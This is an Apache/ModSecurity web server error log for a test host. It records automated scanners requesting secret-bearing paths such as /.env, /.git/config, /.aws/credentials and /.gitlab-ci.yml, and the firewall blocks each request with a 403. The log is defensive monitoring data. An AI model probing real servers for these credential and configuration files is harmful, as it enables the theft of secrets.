[Thu Aug 08 15:27:25.199880 2024] [:error] [pid 1015474] [client 45.148.10.59:38316] [client 45.148.10.59] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZrTHvVzA6IHfAVbtJPnxaAAAAAU"]
[Sun Aug 11 05:15:49.581738 2024] [:error] [pid 1096833] [client 83.147.52.49:44166] [client 83.147.52.49] ModSecurity: Warning. Matched phrase ".gitlab-ci.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitlab-ci.yml"] [unique_id "Zrgs5Qi8dIw7L3w3_Zdh6gAAAAc"]
[Sun Aug 11 05:15:49.583049 2024] [:error] [pid 1096833] [client 83.147.52.49:44166] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitlab-ci.yml"] [unique_id "Zrgs5Qi8dIw7L3w3_Zdh6gAAAAc"]
[Sun Aug 11 05:15:49.583228 2024] [:error] [pid 1096833] [client 83.147.52.49:44166] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitlab-ci.yml"] [unique_id "Zrgs5Qi8dIw7L3w3_Zdh6gAAAAc"]
[Sun Aug 11 05:15:49.624310 2024] [:error] [pid 1095404] [client 83.147.52.49:44144] [client 83.147.52.49] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Zrgs5fW2jbWtubDNbG1hKgAAAAA"]
[Sun Aug 11 05:15:49.624518 2024] [:error] [pid 1095404] [client 83.147.52.49:44144] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Zrgs5fW2jbWtubDNbG1hKgAAAAA"]
[Sun Aug 11 05:15:49.624686 2024] [:error] [pid 1095404] [client 83.147.52.49:44144] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Zrgs5fW2jbWtubDNbG1hKgAAAAA"]
[Sun Aug 11 05:15:49.662604 2024] [:error] [pid 1096832] [client 83.147.52.49:44158] [client 83.147.52.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Zrgs5aOYJ5TK5ybVktmn6QAAAAQ"]
[Sun Aug 11 05:15:49.662813 2024] [:error] [pid 1096832] [client 83.147.52.49:44158] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Zrgs5aOYJ5TK5ybVktmn6QAAAAQ"]
[Sun Aug 11 05:15:49.662981 2024] [:error] [pid 1096832] [client 83.147.52.49:44158] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Zrgs5aOYJ5TK5ybVktmn6QAAAAQ"]
[Sun Aug 11 05:15:49.685849 2024] [:error] [pid 1096820] [client 83.147.52.49:44180] [client 83.147.52.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zrgs5Tyyf5MYs1B7_MQZDwAAAAo"]
[Sun Aug 11 05:15:49.686060 2024] [:error] [pid 1096820] [client 83.147.52.49:44180] [client 83.147.52.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zrgs5Tyyf5MYs1B7_MQZDwAAAAo"]
[Sun Aug 11 05:15:49.686224 2024] [:error] [pid 1096820] [client 83.147.52.49:44180] [client 83.147.52.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zrgs5Tyyf5MYs1B7_MQZDwAAAAo"]
[Sun Aug 11 13:08:06.738015 2024] [:error] [pid 1096823] [client 45.148.10.142:36126] [client 45.148.10.142] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZribljMV0nbyDCak3Ukl7AAAAA0"]
[Sun Aug 11 13:08:06.738307 2024] [:error] [pid 1096823] [client 45.148.10.142:36126] [client 45.148.10.142] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZribljMV0nbyDCak3Ukl7AAAAA0"]
[Sun Aug 11 13:08:06.738467 2024] [:error] [pid 1096823] [client 45.148.10.142:36126] [client 45.148.10.142] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZribljMV0nbyDCak3Ukl7AAAAA0"]
[Sun Aug 18 09:58:44.697567 2024] [:error] [pid 1261086] [client 45.148.10.142:57512] [client 45.148.10.142] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZsGptIuaOkwMNrNQwfiXYAAAAAU"]
[Sun Aug 18 09:58:44.699795 2024] [:error] [pid 1261086] [client 45.148.10.142:57512] [client 45.148.10.142] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZsGptIuaOkwMNrNQwfiXYAAAAAU"]
[Sun Aug 18 09:58:44.700031 2024] [:error] [pid 1261086] [client 45.148.10.142:57512] [client 45.148.10.142] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZsGptIuaOkwMNrNQwfiXYAAAAAU"]
[Sat Aug 24 22:55:52.505461 2024] [:error] [pid 1421473] [client 45.148.10.142:48996] [client 45.148.10.142] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZspI2MQPphfklZmgUaeZUQAAAAc"]
[Sat Aug 24 22:55:52.507497 2024] [:error] [pid 1421473] [client 45.148.10.142:48996] [client 45.148.10.142] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZspI2MQPphfklZmgUaeZUQAAAAc"]
[Sat Aug 24 22:55:52.507666 2024] [:error] [pid 1421473] [client 45.148.10.142:48996] [client 45.148.10.142] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZspI2MQPphfklZmgUaeZUQAAAAc"]
[Sun Sep 15 21:03:40.886763 2024] [authz_core:error] [pid 1945706] [client 206.81.24.74:48336] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sun Sep 15 21:03:45.572544 2024] [:error] [pid 1945741] [client 206.81.24.74:50108] [client 206.81.24.74] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "Zucvkc5DtG4sNXPsLgJVhQAAAAM"]
[Sun Sep 15 21:03:45.572830 2024] [:error] [pid 1945741] [client 206.81.24.74:50108] [client 206.81.24.74] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "Zucvkc5DtG4sNXPsLgJVhQAAAAM"]
[Sun Sep 15 21:03:45.573004 2024] [:error] [pid 1945741] [client 206.81.24.74:50108] [client 206.81.24.74] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "Zucvkc5DtG4sNXPsLgJVhQAAAAM"]
[Sun Sep 15 21:03:45.733057 2024] [:error] [pid 1945742] [client 206.81.24.74:50122] [client 206.81.24.74] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZucvkcAMVZEDmMXs34MsSAAAAA0"]
[Sun Sep 15 21:03:45.733317 2024] [:error] [pid 1945742] [client 206.81.24.74:50122] [client 206.81.24.74] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZucvkcAMVZEDmMXs34MsSAAAAA0"]
[Sun Sep 15 21:03:45.733516 2024] [:error] [pid 1945742] [client 206.81.24.74:50122] [client 206.81.24.74] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZucvkcAMVZEDmMXs34MsSAAAAA0"]
[Sun Sep 15 21:03:45.786192 2024] [:error] [pid 1945744] [client 206.81.24.74:50134] [client 206.81.24.74] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZucvkQjLq13G1B1Te8wHnAAAAA8"]
[Sun Sep 15 21:03:45.787894 2024] [:error] [pid 1945744] [client 206.81.24.74:50134] [client 206.81.24.74] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZucvkQjLq13G1B1Te8wHnAAAAA8"]
[Sun Sep 15 21:03:45.789670 2024] [:error] [pid 1945744] [client 206.81.24.74:50134] [client 206.81.24.74] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZucvkQjLq13G1B1Te8wHnAAAAA8"]
[Sun Sep 15 21:04:09.830661 2024] [:error] [pid 1945742] [client 179.43.168.130:48694] [client 179.43.168.130] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZucvqcAMVZEDmMXs34MsTwAAAA0"]
[Sun Sep 15 21:04:09.831330 2024] [:error] [pid 1945742] [client 179.43.168.130:48694] [client 179.43.168.130] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZucvqcAMVZEDmMXs34MsTwAAAA0"]
[Sun Sep 15 21:04:09.831811 2024] [:error] [pid 1945742] [client 179.43.168.130:48694] [client 179.43.168.130] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZucvqcAMVZEDmMXs34MsTwAAAA0"]
[Mon Sep 16 10:05:44.806844 2024] [:error] [pid 1950998] [client 45.148.10.172:39174] [client 45.148.10.172] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zufm2G9n9XW9XtZOtMIk9gAAAAc"]
[Mon Sep 16 10:05:44.807509 2024] [:error] [pid 1950998] [client 45.148.10.172:39174] [client 45.148.10.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zufm2G9n9XW9XtZOtMIk9gAAAAc"]
[Mon Sep 16 10:05:44.808010 2024] [:error] [pid 1950998] [client 45.148.10.172:39174] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zufm2G9n9XW9XtZOtMIk9gAAAAc"]
[Tue Sep 17 23:55:48.402020 2024] [:error] [pid 1993096] [client 46.28.44.232:56200] [client 46.28.44.232] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zun65O_x9fJs2oXtqdM0uwAAABA"]
[Tue Sep 17 23:55:48.403480 2024] [:error] [pid 1993096] [client 46.28.44.232:56200] [client 46.28.44.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zun65O_x9fJs2oXtqdM0uwAAABA"]
[Tue Sep 17 23:55:48.403805 2024] [:error] [pid 1993096] [client 46.28.44.232:56200] [client 46.28.44.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zun65O_x9fJs2oXtqdM0uwAAABA"]
